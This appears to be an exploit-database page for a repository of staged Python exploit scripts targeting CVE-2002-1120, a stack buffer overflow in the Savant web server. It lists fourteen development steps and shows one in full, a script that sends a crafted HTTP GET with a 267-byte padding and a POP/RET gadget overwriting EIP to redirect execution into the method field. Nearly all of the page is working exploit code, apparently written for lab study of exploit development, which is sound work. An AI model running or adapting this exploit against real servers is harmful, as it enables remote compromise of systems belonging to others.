Exploit databaseDownload repository ZIP
GH-5eca59be3307b9c1b43208549c8d4cea
themalwareguardian/cve-2002-1120
Sources for CVE-2002-1120
6 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files14
themalwareguardian/cve-2002-1120Revision 31fc4237f852
- ↑..Parent directory
- 01Python3Connection.py
- 02Python3Fuzzing.py
- 03Python3EIPOffsetDiscovery.py
- 04Python3ControlEIP.py
- 05Python3FindBadCharsUri.py
- 06Python3FindBadCharsMethod.py
- 07Python3PopRet.py
- 08Python3Landing1.py
- 09Python3Landing2.py
- 10Python3Jump1.py
- 11Python3Jump2.py
- 12Python3HTTPBody.py
- 13Python3Egg.py
- 14Python3Shellcode.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Vulnerability/Exploit/09Python3Landing2.py
Python · 1,835 bytes#!/usr/bin/env python3
import socket
# Define the target server IP and Port
target_ip = '127.0.0.1'
target_port = 80
# Offset to EIP (267 bytes)
offset = 267
# EIP overwrite. POP / RET gadget from Savant.exe (three byte overwrite). When POP / RET executes, it pops a value off the stack into a register and then returns, transferring execution to the beginning of the request where the GET keyword is, this is where the jump opcode will be placed later.
# 0x0041e157 : pop edi # retn [Savant.exe] ASLR: False, Rebase: False, SafeSEH: False
# Three byte overwrite, null byte (0x00) is added automatically.
eip = b'\x57\xe1\x41'
# The method field can hold more than 3 bytes, GET is 3 bytes but Savant does not validate the method length, so we can place as many bytes as we want here. We use 15 INT3 breakpoints to give a larger landing zone and confirm execution reaches the method field after POP / RET.
method = b'\xCC' * 15
# Build buffer
buffer = b'A' * offset + eip
try:
# Create a socket object and connect to the server
print('Exploit> Connect to target')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# Build the HTTP GET request
print(f'Exploit> Sending landing test')
print(f' Method : 15x INT3 (0xCC), execution should pause here after POP/RET')
print(f' EIP : 0x00{eip[::-1].hex().upper()} (POP EDI / RET in Savant.exe)')
request = (
method + b' /' + buffer + b' HTTP/1.1\r\n'
b'Host: ' + target_ip.encode() + b'\r\n'
b'Connection: close\r\n'
b'\r\n'
)
# Send the request
s.send(request)
# The server is expected to crash
print('Exploit> The target server is expected to crash.')
except Exception as e:
# Exception handling
print(f'An error occurred: {str(e)}')
finally:
# Close the connection
s.close()